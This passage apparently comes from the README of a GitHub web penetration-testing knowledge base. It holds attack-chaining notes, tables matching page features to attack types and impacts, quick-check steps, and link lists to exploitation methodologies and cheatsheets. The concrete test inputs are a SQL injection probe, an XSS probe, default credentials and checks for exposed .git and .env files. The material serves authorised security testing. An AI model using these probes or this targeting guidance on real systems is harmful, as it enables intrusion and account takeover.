│ • Use in │ │ • Chain with │ │ • Access new │
│ phishing? │ │ CSRF? │ │ targets? │
│ • Pair with │ │ • Combine │ │ • Chain for │
│ open redir? │ │ with LFI? │ │ persistence?│
└───────┬───────┘ └───────┬───────┘ └───────┬───────┘
│ │ │
└──────────────────┼──────────────────┘
▼
┌─────────────────────┐
│ Chain identified? │
│ Report as single │
│ finding with chain │
│ PoC │
└─────────────────────┘
| I See... | Test For... | Methodology File |
|---|---|---|
| Login form | SQLi, Brute Force, Session Fixation, NoSQLi |
SQL Injection.md, Bruteforcing.md
|
| Search bar | SQLi, XSS (reflected), SSTI, Command Injection | Multiple |
| Profile page | Stored XSS, IDOR, CSRF |
xss.md, IDOR.md, CSRF.md
|
| File upload | Unrestricted Upload, XXE, XSS via SVG |
File Upload Vulnerabilities.md, XXE.md
|
URL parameter ?url=
|
SSRF, Open Redirect, LFI |
SSRF.md, Open Redirect.md, LFI and RFI.md
|
| OAuth login | Redirect URI bypass, CSRF, State injection | OAuth.md |
| JWT in headers | Algorithm confusion, Signature bypass | JWT.md |
| GraphQL endpoint | Introspection, Batching, Depth attacks | GraphQL.md |
| API endpoints | IDOR, Mass assignment, Race condition |
IDOR.md, API Penetration.md
|
| Email functionality | Header injection, SSTI, SSRF in templates | Email Attacks.md |
| WebSocket | CSWSH, Message manipulation | WebSocket Exploitation.md |
| WAF/CDN | Bypass, Origin IP, Request Smuggling |
WAF.md, HTTP Request Smuggling.md
|
| Cache headers | Cache poisoning, Cache deception | Web Cache Deception.md |
| CORS headers | Origin reflection, Null origin | CORS.md |
| Iframes | Clickjacking, Tabnabbing |
Clickjacking.md, Tabnabbing.md
|
| CSP header | Bypass via CDN, Script gadgets | csp.md |
__proto__ in JS |
Prototype pollution | Prototype Pollution.md |
| XML input | XXE, Billion laughs | XXE Vulnerabilities.md |
| Serialized objects | Insecure deserialization | Deserialization.md |
| Race-prone endpoint | Race condition | Exploiting Race Conditions.md |
| Desired Impact | Target These Vulnerabilities |
|---|---|
| RCE (Remote Code Execution) | File Upload, SSTI, Deserialization, Command Injection, SQLi (xp_cmdshell) |
| Data Exfiltration | SQLi (UNION), XXE, SSRF (cloud metadata), IDOR |
| Account Takeover | XSS (session theft), CSRF (password change), JWT bypass, OAuth flaws |
| Privilege Escalation | IDOR, Mass Assignment, JWT claim manipulation, Prototype Pollution |
| Internal Network Access | SSRF, DNS Rebinding |
| Denial of Service | Billion laughs (XXE), GraphQL depth attacks, Race conditions |
| Phishing Enablement | Open Redirect, Tabnabbing, Clickjacking |
| Persistent Access | Web Shell, Web Cache Poisoning, Stored XSS |
When you have limited time, prioritize these checks:
| Action | Tool/Technique | Expected Time |
|---|---|---|
Check robots.txt, sitemap.xml
|
Browser | 30 seconds |
| Try default credentials |
admin:admin, test:test
|
1 minute |
Check for .git/, .env, .DS_Store
|
Browser/curl | 2 minutes |
Test ' OR 1=1-- on login |
Manual | 2 minutes |
Test <script>alert(1)</script> in search |
Manual | 2 minutes |
Check Access-Control-Allow-Origin: *
|
Burp/Debugger | 2 minutes |
| Look at JS files for API keys, endpoints | Browser DevTools | 5 minutes |
| Action | Focus |
|---|---|
| Find all parameters (query, body, headers) | Burp/Gobuster |
| Test sequential IDs for IDOR | Manual/Burp Intruder |
| Test redirect-related parameters for Open Redirect | Manual |
| Test URL parameters for SSRF | Manual |
Add ?debug=true, ?test=true
|
Curiosity-driven |
| Action | Focus |
|---|---|
| Pick the most promising input and go deep | Your instinct |
| Try bypass techniques from cheatsheets | resources/cheatsheets/ |
| Chain any two findings together | Phase 7 above |
| Document everything for future reference | Your notes |
| Knowledge Base | Tools | Project |
|---|---|---|
| Methodologies · Cheatsheets · Write-ups · Course | Automation · Exploitation · Recon | Security Policy · Code of Conduct · License |
⚠️ This repository contains real exploitation techniques. Unauthorized use is a criminal offense under the CFAA, Computer Misuse Act, and equivalent laws worldwide. Use only on systems you own or have explicit written permission to test.
© 2026 aw-junaid · MIT License
For Security Researchers
Methodologies • Cheatsheets • Tools • Write-ups
Core vulnerability exploitation guides
- API Security Testing
- Brute Force Attacks
- CORS Exploitation
- CRLF Injection
- CSRF
- Clickjacking
- Crawling & Fuzzing
- DNS Rebinding
- Deserialization
- Email Attacks
- Exploit Broken Links
- Race Conditions
- File Upload Vulnerabilities
- GraphQL Security Testing
- HTTP Parameter Pollution
- HTTP Request Smuggling
- Hashes
- IDOR
- Injection Exploitation
- LFI & RFI
- OAuth
- Open Redirect
- Prototype Pollution
- SQL Injection
- SSRF
- SSTI
- Session Fixation
- Supply Chain Attack
- Tabnabbing
- VHost
- Web Cache Deception
- WebSocket Exploitation
- Webshell
- XXE Vulnerabilities
- Cookies Padding
- CSP
- Header Injection
- Cross-Site Scripting (XSS)
Platform-specific exploitation guides
- ASP.NET
- Apache Tomcat
- CI/CD Security
- ELK Stack
- Exploitation Methodologies
- Buffer Overflows
- C2 Frameworks
- File Transfer Exploitation
- Firebase
- Firebird Database
- Flask Application
- From Recon to Root
- GitHub Security
- GitLab
- JWT
- Jenkins
- Joomla
- Linux Kernel Exploitation
- MFA/2FA Exploitation
- NoSQL Injection
- OAuth Exploitation
- OpenID Connect
- Privilege Escalation
- Remote Code Execution
- Reverse Shells
- SaaS Security Testing
- WAF
- WebDAV
- WordPress Penetration Testing
Quick-reference payloads & commands
- API Security
- ASP.NET
- Broken Links
- Bruteforcing
- Buffer Overflow
- CRLF Injection
- CSRF
- Clickjacking
- Command Injection
- Cookie Padding
- Crawling
- CORS
- CSP
- DNS Rebinding
- DavTest
- Deserialization
- Elasticsearch
- Email Attacks
- File Transfer
- File Upload
- Firebase
- Firebird
- Flask
- GitHub Security
- GitLab
- GraphQL
- HTTP Parameter Pollution
- HTTP Request Smuggling
- Hashes
- Header Injection
- IDOR
- JWT
- Jenkins
- Joomla
- Linux Kernel Exploits
- LFI & RFI
- MFA/2FA
- Modern C2 Frameworks
- NoSQL Injection
- OAuth
- OAuth 1.0
- OpenID Connect
- Open Redirects
- Payloads
- Ports
- Privilege Escalation
- Prototype Pollution
- Race Conditions
- Recon & Exploitation Reference
- Reverse Shells
- SQL Injection
- SaaS Security Testing
- SSRF
- SSTI
- Session Fixation
- Supply Chain Attacks
- Tabnabbing
- Tomcat Security Testing
- VHosts
- WAFs
- Web Cache Deception
- Web Exploits & C2
- Web Sockets
- Webshells
- WordPress
- XXE
- XSS Cheatsheet
- Web Penetration Commands
📋 View All 68 Cheatsheets
All cheatsheets are interlinked with their corresponding methodologies. Use the search function (press
t on GitHub) to find a specific one quickly.
- 📄 Bug Report Template
- 📃 Custom Subdomains Wordlist
- 📃 Directory Brute Force Wordlist
- 📃 XSS Payloads Wordlist
⚙️ Automation
💥 Exploitation
🔍 Reconnaissance
🔧 Utilities
| Link | Destination |
|---|---|
| 🏠 Wiki Home | Home |
| 📁 Repository | GitHub |
| ❓ FAQ | FAQ |
| 🐛 Report a Bug | Security Policy |
| 📄 License | MIT License |
| 💬 Discord | Join Server |
⚡ Stay curious. Hack ethically. Report responsibly.
© 2026 @aw-junaid • Built with 🔬 for the security community